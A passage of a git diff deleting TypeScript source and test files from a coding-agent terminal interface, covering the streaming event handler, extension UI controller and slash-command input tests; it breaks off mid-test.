i++) { - const content = contentBlocks[i]; - if (content.type === "toolCall") { - if (!host.pendingTools.has(content.id)) { - const component = new ToolExecutionComponent( - content.name, - content.arguments, - { - showImages: host.settingsManager.getShowImages(), - modelLabel: modelLabelFromAssistant(host.streamingMessage), - startedAt: host.streamingMessage.timestamp, - }, - host.getRegisteredToolDefinition(content.name), - host.ui, - ); - component.setExpanded(host.toolOutputExpanded); - host.chatContainer.addChild(component); - host.pendingTools.set(content.id, component); - } else { - host.pendingTools.get(content.id)?.updateArgs(content.arguments); - } - } else if (content.type === "serverToolUse") { - if (!host.pendingTools.has(content.id)) { - const component = new ToolExecutionComponent( - content.name, - content.input ?? {}, - { - showImages: host.settingsManager.getShowImages(), - modelLabel: modelLabelFromAssistant(host.streamingMessage), - startedAt: host.streamingMessage.timestamp, - }, - undefined, - host.ui, - ); - component.setExpanded(host.toolOutputExpanded); - host.chatContainer.addChild(component); - host.pendingTools.set(content.id, component); - } - } else if (content.type === "webSearchResult") { - const component = host.pendingTools.get(content.toolUseId); - if (component) { - if (process.env.PI_OFFLINE === "1") { - component.updateResult({ - content: [ - { - type: "text", - text: "Web search disabled (offline mode)", - }, - ], - isError: false, - }); - } else { - const searchContent = content.content; - const isError = - searchContent && - typeof searchContent === "object" && - "type" in (searchContent as any) && - (searchContent as any).type === - "web_search_tool_result_error"; - component.updateResult({ - content: [ - { - type: "text", - text: host.formatWebSearchResult(searchContent), - }, - ], - isError: !!isError, - }); - } - } - } - } - - // When the stream adapter signals a completed tool call with an - // external result (from Claude Code SDK), update the pending - // ToolExecutionComponent immediately so output is visible in - // real-time instead of waiting for the session to end. - if (externalToolResult) { - const component = host.pendingTools.get( - externalToolResult.toolCallId, - ); - if (component) { - component.updateResult({ - content: externalToolResult.content, - details: externalToolResult.details, - isError: externalToolResult.isError, - }); - } - } - - // Segment walker: render content blocks in stream order, append-only. - // Build desired segment plan from content[]. - { - const blocks = host.streamingMessage.content; - const isClaudeCodeProvider = - host.streamingMessage.provider === "claude-code"; - const hasMcpToolBlock = blocks.some((b: any) => { - if (b?.type === "toolCall") { - return ( - typeof b?.mcpServer === "string" || - String(b?.name ?? "").startsWith("mcp__") - ); - } - if (b?.type === "serverToolUse") { - return ( - typeof b?.mcpServer === "string" || - String(b?.name ?? "").startsWith("mcp__") - ); - } - return false; - }); - const firstToolIdx = blocks.findIndex( - (b: any) => b.type === "toolCall" || b.type === "serverToolUse", - ); - const hasPostToolText = - firstToolIdx >= 0 && - blocks.some( - (b: any, idx: number) => - idx > firstToolIdx && - b?.type === "text" && - typeof b?.text === "string" && - b.text.trim().length > 0, - ); - // Only prune provisional pre-tool prose after post-tool prose exists, - // so MCP tool-only windows do not blank the assistant content. - const shouldDropPreToolProse = - isClaudeCodeProvider && hasMcpToolBlock && hasPostToolText; - type DesiredSegment = - | { - kind: "text-run"; - startIndex: number; - endIndex: number; - contentType: "text" | "thinking"; - } - | { kind: "tool"; contentIndex: number; toolId: string }; - const desired: DesiredSegment[] = []; - let runStart = -1; - let runEnd = -1; - let runType: "text" | "thinking" | undefined; - const closeRun = () => { - if (runStart !== -1 && runType) { - desired.push({ - kind: "text-run", - startIndex: runStart, - endIndex: runEnd, - contentType: runType, - }); - runStart = -1; - runEnd = -1; - runType = undefined; - } - }; - for (let i = 0; i < blocks.length; i++) { - const b = blocks[i]; - const blockType = - b.type === "text" || b.type === "thinking" ? b.type : undefined; - const isTextLike = blockType === "text" || blockType === "thinking"; - const isTool = b.type === "toolCall" || b.type === "serverToolUse"; - // For adapter-surfaced MCP tool turns, prune only pre-tool prose, never thinking. - const shouldSkipProse = - shouldDropPreToolProse && - firstToolIdx >= 0 && - i < firstToolIdx && - blockType === "text"; - if (shouldSkipProse) { - closeRun(); - continue; - } - if (isTextLike) { - if (runStart === -1) { - runStart = i; - runEnd = i; - runType = blockType; - } else if (runType !== blockType) { - closeRun(); - runStart = i; - runEnd = i; - runType = blockType; - } else { - runEnd = i; - } - } else { - closeRun(); - if (isTool) { - desired.push({ kind: "tool", contentIndex: i, toolId: b.id }); - } - } - } - closeRun(); - - // Adapter-surfaced MCP tool turns can emit provisional pre-tool prose that gets - // superseded by post-tool output. Prune stale text-run segments so - // the final assistant output remains below tool output. - if (shouldDropPreToolProse && firstToolIdx >= 0) { - if (orphanedSegments.length > 0) { - const remainingOrphans: RenderedSegment[] = []; - for (const orphan of orphanedSegments) { - if ( - orphan.kind === "text-run" && - orphan.contentType === "text" - ) { - host.chatContainer.removeChild(orphan.component); - if (host.streamingComponent === orphan.component) { - host.streamingComponent = undefined; - } - continue; - } - remainingOrphans.push(orphan); - } - orphanedSegments = remainingOrphans; - } - const desiredTextKeys = new Set( - desired - .filter( - (seg): seg is Extract => - seg.kind === "text-run", - ) - .map((seg) => `${seg.contentType}:${seg.startIndex}`), - ); - const desiredToolIndices = new Set( - desired - .filter( - (seg): seg is Extract => - seg.kind === "tool", - ) - .map((seg) => seg.contentIndex), - ); - const nextRendered: RenderedSegment[] = []; - for (const seg of renderedSegments) { - if ( - seg.kind === "text-run" && - seg.contentType === "text" && - !desiredTextKeys.has(`${seg.contentType}:${seg.startIndex}`) - ) { - host.chatContainer.removeChild(seg.component); - if (host.streamingComponent === seg.component) { - host.streamingComponent = undefined; - } - continue; - } - if ( - seg.kind === "tool" && - !desiredToolIndices.has(seg.contentIndex) - ) { - continue; - } - nextRendered.push(seg); - } - renderedSegments = nextRendered; - } - - // Append any newly needed segments (never reorder existing ones). - for (const seg of desired) { - if (seg.kind === "tool") { - // Tool segments are already handled above via pendingTools; just - // register them in renderedSegments if not yet tracked. - const existing = renderedSegments.find( - (s) => s.kind === "tool" && s.contentIndex === seg.contentIndex, - ); - if (!existing) { - const comp = host.pendingTools.get(seg.toolId); - if (comp) { - renderedSegments.push({ - kind: "tool", - contentIndex: seg.contentIndex, - component: comp, - }); - } - } - } else { - // text-run segment - const existing = renderedSegments.find( - (s) => - s.kind === "text-run" && - s.startIndex === seg.startIndex && - s.contentType === seg.contentType, - ); - if (!existing) { - const comp = new AssistantMessageComponent( - undefined, - host.hideThinkingBlock, - host.getMarkdownThemeWithSettings(), - host.settingsManager.getTimestampFormat(), - { startIndex: seg.startIndex, endIndex: seg.endIndex }, - ); - host.chatContainer.addChild(comp); - renderedSegments.push({ - kind: "text-run", - startIndex: seg.startIndex, - endIndex: seg.endIndex, - contentType: seg.contentType, - component: comp, - }); - host.streamingComponent = comp; - } - } - } - - // Update all trailing text-run segments with the latest message so - // streaming text grows in place. - for (const seg of renderedSegments) { - if (seg.kind === "text-run") { - // Find corresponding desired segment to get current endIndex - const d = desired.find( - (ds) => - ds.kind === "text-run" && - ds.startIndex === seg.startIndex && - ds.contentType === seg.contentType, - ); - if (d && d.kind === "text-run" && d.endIndex !== seg.endIndex) { - seg.endIndex = d.endIndex; - seg.component.setRange({ - startIndex: seg.startIndex, - endIndex: seg.endIndex, - }); - } - seg.component.updateContent(host.streamingMessage); - } - } - - // Keep streamingComponent pointing at the last text-run for message_end compatibility. - const lastTextSeg = [...renderedSegments] - .reverse() - .find((s) => s.kind === "text-run"); - if (lastTextSeg && lastTextSeg.kind === "text-run") { - host.streamingComponent = lastTextSeg.component; - } - } - - // Update index: fully processed blocks won't need re-scanning. - // Keep the last block's index (it may still be accumulating data), - // so we re-check it next time but skip all earlier ones. - if (contentBlocks.length > 0) { - lastProcessedContentIndex = Math.max(0, contentBlocks.length - 1); - } - - // Pinned message: mirror the latest assistant text above the editor - // when tool executions push it out of the viewport. - const hasTools = contentBlocks.some( - (c: any) => c.type === "toolCall" || c.type === "serverToolUse", - ); - if (hasTools) hasToolsInTurn = true; - - if (hasToolsInTurn) { - const latestText = findLatestPinnableText(contentBlocks); - - if (latestText && latestText !== lastPinnedText) { - lastPinnedText = latestText; - - if (!pinnedBorder) { - // First time: create border + text component - host.pinnedMessageContainer.clear(); - pinnedBorder = new DynamicBorder( - (str: string) => theme.fg("dim", str), - "Working · Latest Output", - ); - pinnedBorder.startSpinner(host.ui, (str: string) => - theme.fg("accent", str), - ); - host.pinnedMessageContainer.addChild(pinnedBorder); - pinnedTextComponent = new Markdown( - latestText, - 1, - 0, - host.getMarkdownThemeWithSettings(), - ); - // Cap pinned content to ~40% of terminal height so tall output - // doesn't exceed the viewport and cause render flashing. - pinnedTextComponent.maxLines = Math.max( - 3, - Math.floor(host.ui.terminal.rows * 0.4), - ); - host.pinnedMessageContainer.addChild(pinnedTextComponent); - // Hide the separate status loader — the pinned zone replaces it - if (host.loadingAnimation) { - host.loadingAnimation.stop(); - host.loadingAnimation = undefined; - } - host.statusContainer.clear(); - } else { - // Update existing markdown component in-place - pinnedTextComponent?.setText(latestText); - // Refresh maxLines in case terminal was resized - if (pinnedTextComponent) { - pinnedTextComponent.maxLines = Math.max( - 3, - Math.floor(host.ui.terminal.rows * 0.4), - ); - } - } - } - } - - host.ui.requestRender(); - } - break; - - case "message_end": - if (event.message.role === "user") break; - if (event.message.role === "assistant") { - host.streamingMessage = event.message; - let errorMessage: string | undefined; - if (host.streamingMessage.stopReason === "aborted") { - const retryAttempt = host.session.retryAttempt; - errorMessage = - retryAttempt > 0 - ? `Aborted after ${retryAttempt} retry attempt${retryAttempt > 1 ? "s" : ""}` - : "Operation aborted"; - host.streamingMessage.errorMessage = errorMessage; - } - - const shouldRenderAssistant = - hasVisibleAssistantContent(host.streamingMessage) || - ((host.streamingMessage.stopReason === "aborted" || - host.streamingMessage.stopReason === "error") && - !hasAssistantToolBlocks(host.streamingMessage)); - if (!host.streamingComponent && shouldRenderAssistant) { - host.streamingComponent = new AssistantMessageComponent( - undefined, - host.hideThinkingBlock, - host.getMarkdownThemeWithSettings(), - host.settingsManager.getTimestampFormat(), - ); - host.chatContainer.addChild(host.streamingComponent); - } - if (host.streamingComponent) { - host.streamingComponent.setShowMetadata(true); - host.streamingComponent.updateContent(host.streamingMessage); - } - - if ( - host.streamingMessage.stopReason === "aborted" || - host.streamingMessage.stopReason === "error" - ) { - if (!errorMessage) { - errorMessage = host.streamingMessage.errorMessage || "Error"; - } - const pendingComponents = Array.from(host.pendingTools.values()); - if (pendingComponents.length > 0) { - const [first, ...rest] = pendingComponents; - first.completeWithError(errorMessage); - for (const component of rest) { - component.completeWithError(); - } - } - host.pendingTools.clear(); - } else { - for (const [, component] of host.pendingTools.entries()) { - component.setArgsComplete(); - } - } - host.streamingComponent = undefined; - host.streamingMessage = undefined; - renderedSegments = []; - orphanedSegments = []; - lastContentLength = 0; - // Clear pinned output once the message is finalized in the chat - // container — prevents duplicate display when the agent continues - // (e.g. form elicitation) after the assistant message ends. - if (pinnedBorder) pinnedBorder.stopSpinner(); - host.pinnedMessageContainer.clear(); - lastPinnedText = ""; - hasToolsInTurn = false; - pinnedBorder = undefined; - pinnedTextComponent = undefined; - host.footer.invalidate(); - } - host.ui.requestRender(); - break; - - case "tool_execution_start": - if (!host.pendingTools.has(event.toolCallId)) { - const component = new ToolExecutionComponent( - event.toolName, - event.args, - { - showImages: host.settingsManager.getShowImages(), - modelLabel: modelLabelFromHost(host), - startedAt: Date.now(), - }, - host.getRegisteredToolDefinition(event.toolName), - host.ui, - ); - component.setExpanded(host.toolOutputExpanded); - host.chatContainer.addChild(component); - host.pendingTools.set(event.toolCallId, component); - host.ui.requestRender(); - } - break; - - case "tool_execution_update": { - const component = host.pendingTools.get(event.toolCallId); - if (component) { - component.updateResult( - { ...event.partialResult, isError: false }, - true, - ); - host.ui.requestRender(); - } - break; - } - - case "tool_execution_end": { - const component = host.pendingTools.get(event.toolCallId); - if (component) { - component.updateResult({ ...event.result, isError: event.isError }); - host.pendingTools.delete(event.toolCallId); - host.ui.requestRender(); - } - break; - } - - case "agent_end": - if (host.loadingAnimation) { - host.loadingAnimation.stop(); - host.loadingAnimation = undefined; - host.statusContainer.clear(); - } - if (host.streamingComponent && host.streamingMessage) { - host.streamingComponent.setShowMetadata(true); - host.streamingComponent.updateContent(host.streamingMessage); - } - host.streamingComponent = undefined; - host.streamingMessage = undefined; - renderedSegments = []; - orphanedSegments = []; - lastContentLength = 0; - host.pendingTools.clear(); - // Pinned output is only useful while work is actively streaming. - // Keep chat history as the single source after completion. - if (pinnedBorder) { - pinnedBorder.stopSpinner(); - } - host.pinnedMessageContainer.clear(); - lastPinnedText = ""; - hasToolsInTurn = false; - pinnedBorder = undefined; - pinnedTextComponent = undefined; - await host.checkShutdownRequested(); - host.ui.requestRender(); - break; - - case "auto_compaction_start": - host.autoCompactionEscapeHandler = host.defaultEditor.onEscape; - host.defaultEditor.onEscape = () => host.session.abortCompaction(); - host.statusContainer.clear(); - host.autoCompactionLoader = new Loader( - host.ui, - (spinner) => theme.fg("accent", spinner), - (text) => theme.fg("muted", text), - `${event.reason === "overflow" ? "Context overflow detected, " : ""}Auto-compacting... (${appKey(host.keybindings, "interrupt")} to cancel)`, - ); - host.statusContainer.addChild(host.autoCompactionLoader); - host.ui.requestRender(); - break; - - case "auto_compaction_end": - if (host.autoCompactionEscapeHandler) { - host.defaultEditor.onEscape = host.autoCompactionEscapeHandler; - host.autoCompactionEscapeHandler = undefined; - } - if (host.autoCompactionLoader) { - host.autoCompactionLoader.stop(); - host.autoCompactionLoader = undefined; - host.statusContainer.clear(); - } - if (event.aborted) { - host.showStatus("Auto-compaction cancelled"); - } else if (event.result) { - host.chatContainer.clear(); - host.rebuildChatFromMessages(); - host.addMessageToChat({ - role: "compactionSummary", - tokensBefore: event.result.tokensBefore, - summary: event.result.summary, - timestamp: Date.now(), - }); - host.footer.invalidate(); - } else if (event.errorMessage) { - host.chatContainer.addChild(new Spacer(1)); - host.chatContainer.addChild( - new Text(theme.fg("error", event.errorMessage), 1, 0), - ); - } - void host.flushCompactionQueue({ willRetry: event.willRetry }); - host.ui.requestRender(); - break; - - case "auto_retry_start": - host.retryEscapeHandler = host.defaultEditor.onEscape; - host.defaultEditor.onEscape = () => host.session.abortRetry(); - host.statusContainer.clear(); - host.retryLoader = new Loader( - host.ui, - (spinner) => theme.fg("warning", spinner), - (text) => theme.fg("muted", text), - `Retrying (${event.attempt}/${event.maxAttempts}) in ${Math.round(event.delayMs / 1000)}s... (${appKey(host.keybindings, "interrupt")} to cancel)`, - ); - host.statusContainer.addChild(host.retryLoader); - host.ui.requestRender(); - break; - - case "auto_retry_end": - if (host.retryEscapeHandler) { - host.defaultEditor.onEscape = host.retryEscapeHandler; - host.retryEscapeHandler = undefined; - } - if (host.retryLoader) { - host.retryLoader.stop(); - host.retryLoader = undefined; - host.statusContainer.clear(); - } - if (!event.success) { - host.showError( - `Retry failed after ${event.attempt} attempts: ${event.finalError || "Unknown error"}`, - ); - } - host.ui.requestRender(); - break; - - case "fallback_provider_switch": - host.showStatus( - `Switched from ${event.from} → ${event.to} (${event.reason})`, - ); - host.ui.requestRender(); - break; - - case "fallback_provider_restored": - host.showStatus(`Restored to ${event.provider}`); - host.ui.requestRender(); - break; - - case "fallback_chain_exhausted": - host.showError(event.reason); - host.ui.requestRender(); - break; - - case "image_overflow_recovery": - host.showStatus( - `Removed ${event.strippedCount} older image(s) to comply with API limits. Retrying...`, - ); - host.ui.requestRender(); - break; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/controllers/extension-ui-controller.test.ts b/packages/pi-coding-agent/src/modes/interactive/controllers/extension-ui-controller.test.ts deleted file mode 100644 index 7ebf9ff0f..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/controllers/extension-ui-controller.test.ts +++ /dev/null @@ -1,118 +0,0 @@ -import assert from "node:assert/strict"; -import { test } from "vitest"; - -import { createExtensionUIContext } from "./extension-ui-controller.js"; - -test("notify_when_host_has_extension_notify_uses_dedicated_handler", () => { - const calls: unknown[][] = []; - const ui = createExtensionUIContext({ - showExtensionNotify(message: string, type: string) { - calls.push([message, type]); - }, - }); - - ui.notify("Ready", "success"); - - assert.deepEqual(calls, [["Ready", "success"]]); -}); - -test("notify_when_extension_notify_missing_routes_errors_and_warnings_to_existing_host_methods", () => { - const errors: string[] = []; - const warnings: string[] = []; - const ui = createExtensionUIContext({ - showError(message: string) { - errors.push(message); - }, - showWarning(message: string) { - warnings.push(message); - }, - }); - - ui.notify("Failed", "error"); - ui.notify("Careful", "warning"); - - assert.deepEqual(errors, ["Failed"]); - assert.deepEqual(warnings, ["Careful"]); -}); - -test("notify_when_extension_notify_missing_routes_info_and_success_to_status", () => { - const statuses: unknown[][] = []; - const ui = createExtensionUIContext({ - showStatus(message: string, options?: unknown) { - statuses.push([message, options]); - }, - }); - - ui.notify("Started", "info"); - ui.notify("Done", "success"); - - assert.deepEqual(statuses, [ - ["Started", { append: false }], - ["Done", { append: true }], - ]); -}); - -test("set_widget_when_host_supports_widgets_uses_dedicated_handler", () => { - const calls: unknown[][] = []; - const ui = createExtensionUIContext({ - setExtensionWidget(key: string, content: unknown, options?: unknown) { - calls.push([key, content, options]); - }, - }); - - const content = ["Ready"]; - const options = { placement: "belowEditor" as const }; - ui.setWidget("sf-notifications", content, options); - - assert.deepEqual(calls, [["sf-notifications", content, options]]); -}); - -test("set_widget_when_widget_host_throws_degrades_silently_without_extension_error", () => { - const ui = createExtensionUIContext({ - setExtensionWidget() { - throw new TypeError("host.setExtensionWidget is not a function"); - }, - }); - - // Should not throw — the widget setter catches invocation errors. - ui.setWidget("sf-progress", ["Ready"], { placement: "belowEditor" }); -}); - -test("set_widget_when_widget_host_missing_degrades_to_no_op", () => { - const ui = createExtensionUIContext({ - // No setExtensionWidget — host does not support extension widgets. - }); - - // Should not throw — the widget setter is a no-op when unsupported. - ui.setWidget("sf-notifications", ["Ready", "Next"], { - placement: "belowEditor", - }); -}); - -test("set_widget_when_widget_host_missing_ignores_factory_without_throwing", () => { - const ui = createExtensionUIContext({ - // No setExtensionWidget — host does not support extension widgets. - }); - - // Should not throw — factory widgets are silently ignored when unsupported. - ui.setWidget( - "sf-notifications", - () => ({ - render: () => [], - invalidate: () => {}, - }), - { placement: "belowEditor" }, - ); -}); - -test("dialog_methods_when_host_dialogs_missing_degrade_without_throwing", async () => { - const ui = createExtensionUIContext({ - // RPC/headless-style hosts may not implement interactive dialogs. - }); - - await assert.doesNotReject(async () => { - assert.equal(await ui.confirm("Proceed?", "Dangerous command"), false); - assert.equal(await ui.select("Pick one", ["a", "b"]), undefined); - assert.equal(await ui.input("Value", "placeholder"), undefined); - }); -}); diff --git a/packages/pi-coding-agent/src/modes/interactive/controllers/extension-ui-controller.ts b/packages/pi-coding-agent/src/modes/interactive/controllers/extension-ui-controller.ts deleted file mode 100644 index b443e4253..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/controllers/extension-ui-controller.ts +++ /dev/null @@ -1,173 +0,0 @@ -import type { - ExtensionUIContext, - ExtensionWidgetOptions, -} from "../../../core/extensions/index.js"; -import { appKey } from "../components/keybinding-hints.js"; -import { - getAvailableThemesWithPaths, - getThemeByName, - setTheme, - setThemeInstance, - Theme, - theme, -} from "../theme/theme.js"; - -type ExtensionNotifyType = "info" | "warning" | "error" | "success"; - -type ExtensionWidgetContent = - | string[] - | ((...args: any[]) => unknown) - | undefined; - -function notifyHost( - host: any, - message: string, - type: ExtensionNotifyType = "info", -): void { - if (typeof host.showExtensionNotify === "function") { - host.showExtensionNotify(message, type); - return; - } - - if (type === "error" && typeof host.showError === "function") { - host.showError(message); - return; - } - if (type === "warning" && typeof host.showWarning === "function") { - host.showWarning(message); - return; - } - if (typeof host.showStatus === "function") { - host.showStatus(message, { append: type === "success" }); - return; - } - host.ui?.requestRender?.(); -} - -/** - * Resolve the host's widget setter capability once, safely. - * - * Purpose: avoid probing `host.setExtensionWidget` on every `setWidget` call. - * Embedded/stale hosts may expose incompatible getters/shims that throw on - * access; we catch that at context creation time and degrade to a no-op. - * - * Returns the bound setter if available and callable, otherwise `undefined`. - */ -function resolveWidgetSetter( - host: any, -): ((key: string, content: unknown, options?: unknown) => void) | undefined { - try { - const fn = host.setExtensionWidget; - return typeof fn === "function" ? fn.bind(host) : undefined; - } catch { - return undefined; - } -} - -/** - * Build a `setWidget` implementation for the given host. - * - * The returned function never throws. If the host does not support extension - * widgets, it degrades to a no-op. If the host setter throws at call time, - * the error is caught and silently ignored (widgets are optional UI sugar). - */ -function createWidgetSetter( - host: any, -): ( - key: string, - content: ExtensionWidgetContent, - options?: ExtensionWidgetOptions, -) => void { - const setter = resolveWidgetSetter(host); - if (!setter) { - return (_key, _content, _options) => { - // Host does not support extension widgets. - }; - } - return (key, content, options) => { - try { - setter(key, content, options); - } catch { - // Widget render failed. Optional UI sugar; degrade silently. - } - }; -} - -export function createExtensionUIContext(host: any): ExtensionUIContext { - const setWidget = createWidgetSetter(host); - return { - select: (title, options, opts) => { - if (typeof host.showExtensionSelector !== "function") { - return Promise.resolve(undefined); - } - return host.showExtensionSelector(title, options, opts); - }, - confirm: (title, message, opts) => { - if (typeof host.showExtensionConfirm !== "function") { - return Promise.resolve(false); - } - return host.showExtensionConfirm(title, message, opts); - }, - input: (title, placeholder, opts) => { - if (typeof host.showExtensionInput !== "function") { - return Promise.resolve(undefined); - } - return host.showExtensionInput(title, placeholder, opts); - }, - notify: (message, type) => notifyHost(host, message, type), - onTerminalInput: (handler) => - host.addExtensionTerminalInputListener(handler), - setStatus: (key, text) => host.setExtensionStatus(key, text), - setWorkingMessage: (message) => { - if (host.loadingAnimation) { - if (message) { - host.loadingAnimation.setMessage(message); - } else { - host.loadingAnimation.setMessage( - `${host.defaultWorkingMessage} (${appKey(host.keybindings, "interrupt")} to interrupt)`, - ); - } - } else { - host.pendingWorkingMessage = message; - } - }, - setWorkingVisible: (visible) => { - if (host.loadingAnimation) { - host.loadingAnimation.setVisible(visible); - } - }, - setWidget, - setFooter: (factory) => host.setExtensionFooter(factory), - setHeader: (factory) => host.setExtensionHeader(factory), - setTitle: (title) => host.ui.terminal.setTitle(title), - custom: (factory, options) => host.showExtensionCustom(factory, options), - pasteToEditor: (text) => - host.editor.handleInput(`\x1b[200~${text}\x1b[201~`), - setEditorText: (text) => host.editor.setText(text), - getEditorText: () => host.editor.getText(), - editor: (title, prefill) => host.showExtensionEditor(title, prefill), - setEditorComponent: (factory) => host.setCustomEditorComponent(factory), - get theme() { - return theme; - }, - getAllThemes: () => getAvailableThemesWithPaths(), - getTheme: (name) => getThemeByName(name), - setTheme: (themeOrName) => { - if (themeOrName instanceof Theme) { - setThemeInstance(themeOrName); - host.ui.requestRender(); - return { success: true }; - } - const result = setTheme(themeOrName, true); - if (result.success) { - if (host.settingsManager.getTheme() !== themeOrName) { - host.settingsManager.setTheme(themeOrName); - } - host.ui.requestRender(); - } - return result; - }, - getToolsExpanded: () => host.toolOutputExpanded, - setToolsExpanded: (expanded) => host.setToolsExpanded(expanded), - }; -} diff --git a/packages/pi-coding-agent/src/modes/interactive/controllers/input-controller.test.ts b/packages/pi-coding-agent/src/modes/interactive/controllers/input-controller.test.ts deleted file mode 100644 index 09c64e9c4..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/controllers/input-controller.test.ts +++ /dev/null @@ -1,401 +0,0 @@ -import assert from "node:assert/strict"; -import { test } from "vitest"; - -import { setupEditorSubmitHandler } from "./input-controller.js"; - -type HostOptions = { - knownSlashCommands?: string[]; - slashCommandContext?: boolean; -}; - -function getSlashCommandName(text: string): string { - const trimmed = text.trim(); - const spaceIndex = trimmed.indexOf(" "); - return spaceIndex === -1 ? trimmed.slice(1) : trimmed.slice(1, spaceIndex); -} - -function createHost(options: HostOptions = {}) { - const prompted: string[] = []; - const promptOptions: unknown[] = []; - const errors: string[] = []; - const warnings: string[] = []; - const history: string[] = []; - const knownSlashCommands = new Set(options.knownSlashCommands ?? []); - let editorText = ""; - let settingsOpened = 0; - let aborts = 0; - let shutdowns = 0; - const statuses: string[] = []; - let pendingDisplayUpdates = 0; - let renderRequests = 0; - - const editor = { - setText(text: string) { - editorText = text; - }, - getText() { - return editorText; - }, - addToHistory(text: string) { - history.push(text); - }, - }; - - const host = { - defaultEditor: editor as typeof editor & { - onSubmit?: (text: string) => Promise; - }, - editor, - session: { - isBashRunning: false, - isCompacting: false, - isStreaming: false, - prompt: async (text: string, options?: unknown) => { - prompted.push(text); - promptOptions.push(options); - }, - abort: async () => { - aborts += 1; - }, - }, - ui: { - requestRender() { - renderRequests += 1; - }, - }, - ...(options.slashCommandContext === false - ? {} - : { - getSlashCommandContext: () => ({ - session: host.session, - showSettingsSelector: () => { - settingsOpened += 1; - }, - showStatus: host.showStatus, - shutdown: async () => { - shutdowns += 1; - }, - }), - }), - handleBashCommand: async () => {}, - showWarning(message: string) { - warnings.push(message); - }, - showError(message: string) { - errors.push(message); - }, - showStatus(message: string) { - statuses.push(message); - }, - updateEditorBorderColor() {}, - isExtensionCommand() { - return false; - }, - isKnownSlashCommand(text: string) { - return knownSlashCommands.has(getSlashCommandName(text)); - }, - queueCompactionMessage() {}, - updatePendingMessagesDisplay() { - pendingDisplayUpdates += 1; - }, - contextualTips: { - evaluate: () => undefined, - recordBashIncluded() {}, - }, - getContextPercent: () => undefined, - }; - - setupEditorSubmitHandler(host as any); - - return { - host: host as typeof host & { - defaultEditor: typeof editor & { - onSubmit: (text: string) => Promise; - }; - }, - prompted, - promptOptions, - errors, - warnings, - history, - getEditorText: () => editorText, - getSettingsOpened: () => settingsOpened, - getAborts: () => aborts, - getShutdowns: () => shutdowns, - statuses, - getPendingDisplayUpdates: () => pendingDisplayUpdates, - getRenderRequests: () => renderRequests, - }; -} - -test("input-controller: built-in slash commands stay in TUI dispatch", async () => { - const { host, prompted, errors, getSettingsOpened, getEditorText } = - createHost(); - - await host.defaultEditor.onSubmit("/settings"); - - assert.equal( - getSettingsOpened(), - 1, - "built-in /settings should open the settings selector", - ); - assert.deepEqual( - prompted, - [], - "built-in slash commands should not reach session.prompt", - ); - assert.deepEqual( - errors, - [], - "built-in slash commands should not show errors", - ); - assert.equal( - getEditorText(), - "", - "built-in slash commands should clear the editor after handling", - ); -}); - -test("input-controller: /exit is a built-in shutdown alias", async () => { - const { host, prompted, errors, getEditorText, getShutdowns } = createHost(); - - await host.defaultEditor.onSubmit("/exit"); - - assert.equal(getShutdowns(), 1); - assert.deepEqual(prompted, []); - assert.deepEqual(errors, []); - assert.equal(getEditorText(), ""); -}); - -test("input-controller: /stop aborts the current response", async () => { - const { host, prompted, errors, statuses, getAborts, getEditorText } = - createHost(); - - await host.defaultEditor.onSubmit("/stop"); - - assert.equal(getAborts(), 1); - assert.deepEqual(prompted, []); - assert.deepEqual(errors, []); - assert.deepEqual(statuses, ["Stopped current response."]); - assert.equal(getEditorText(), ""); -}); - -test("input-controller: extension slash commands fall through to session.prompt", async () => { - const { host, prompted, errors, history } = createHost({ - knownSlashCommands: ["sf"], - }); - - await host.defaultEditor.onSubmit("/sf help"); - - assert.deepEqual( - prompted, - ["/sf help"], - "known extension slash commands should reach session.prompt", - ); - assert.deepEqual( - errors, - [], - "known extension slash commands should not show unknown-command errors", - ); - assert.deepEqual( - history, - ["/sf help"], - "known extension slash commands should still be added to history", - ); -}); - -test("input-controller: prompt template slash commands fall through to session.prompt", async () => { - const { host, prompted, errors } = createHost({ - knownSlashCommands: ["daily"], - }); - - await host.defaultEditor.onSubmit("/daily focus area"); - - assert.deepEqual(prompted, ["/daily focus area"]); - assert.deepEqual(errors, []); -}); - -test("input-controller: known extension slash command falls through when slash context is absent", async () => { - const { host, prompted, errors, history } = createHost({ - knownSlashCommands: ["sf"], - slashCommandContext: false, - }); - - await host.defaultEditor.onSubmit("/sf next"); - - assert.deepEqual(prompted, ["/sf next"]); - assert.deepEqual(errors, []); - assert.deepEqual(history, ["/sf next"]); -}); - -test("input-controller: built-in slash command does not crash when slash context is absent", async () => { - const { host, prompted, errors, getSettingsOpened, getEditorText } = - createHost({ - slashCommandContext: false, - }); - - await host.defaultEditor.onSubmit("/settings"); - - assert.equal(getSettingsOpened(), 0); - assert.deepEqual(prompted, []); - assert.deepEqual(errors, [ - "Unknown command: /settings. Use slash autocomplete to see available commands.", - ]); - assert.equal(getEditorText(), ""); -}); - -test("input-controller: normal prompt submit does not require stale bash component flush hook", async () => { - const { host, prompted, errors, history } = createHost(); - - await host.defaultEditor.onSubmit("ping"); - - assert.deepEqual(prompted, ["ping"]); - assert.deepEqual(errors, []); - assert.deepEqual(history, ["ping"]); -}); - -test("input-controller: skill slash commands fall through to session.prompt", async () => { - const { host, prompted, errors } = createHost({ - knownSlashCommands: ["skill:create-skill"], - }); - - await host.defaultEditor.onSubmit("/skill:create-skill routing bug"); - - assert.deepEqual(prompted, ["/skill:create-skill routing bug"]); - assert.deepEqual(errors, []); -}); - -test("input-controller: disabled skill slash commands stay unknown", async () => { - const { host, prompted, errors } = createHost(); - - await host.defaultEditor.onSubmit("/skill:create-skill routing bug"); - - assert.deepEqual(prompted, []); - assert.deepEqual(errors, [ - "Unknown command: /skill:create-skill. Use slash autocomplete to see available commands.", - ]); -}); - -test("input-controller: /export prefix does not swallow unrelated slash commands", async () => { - const { host, prompted, errors } = createHost(); - - await host.defaultEditor.onSubmit("/exportfoo"); - - assert.deepEqual(prompted, []); - assert.deepEqual(errors, [ - "Unknown command: /exportfoo. Use slash autocomplete to see available commands.", - ]); -}); - -test("input-controller: truly unknown slash commands stop before session.prompt", async () => { - const { host, prompted, errors, getEditorText } = createHost(); - - await host.defaultEditor.onSubmit("/definitely-not-a-command"); - - assert.deepEqual( - prompted, - [], - "unknown slash commands should not reach session.prompt", - ); - assert.deepEqual(errors, [ - "Unknown command: /definitely-not-a-command. Use slash autocomplete to see available commands.", - ]); - assert.equal( - getEditorText(), - "", - "unknown slash commands should clear the editor after showing the error", - ); -}); - -test("input-controller: absolute file paths are not treated as slash commands (#3478)", async () => { - const { host, 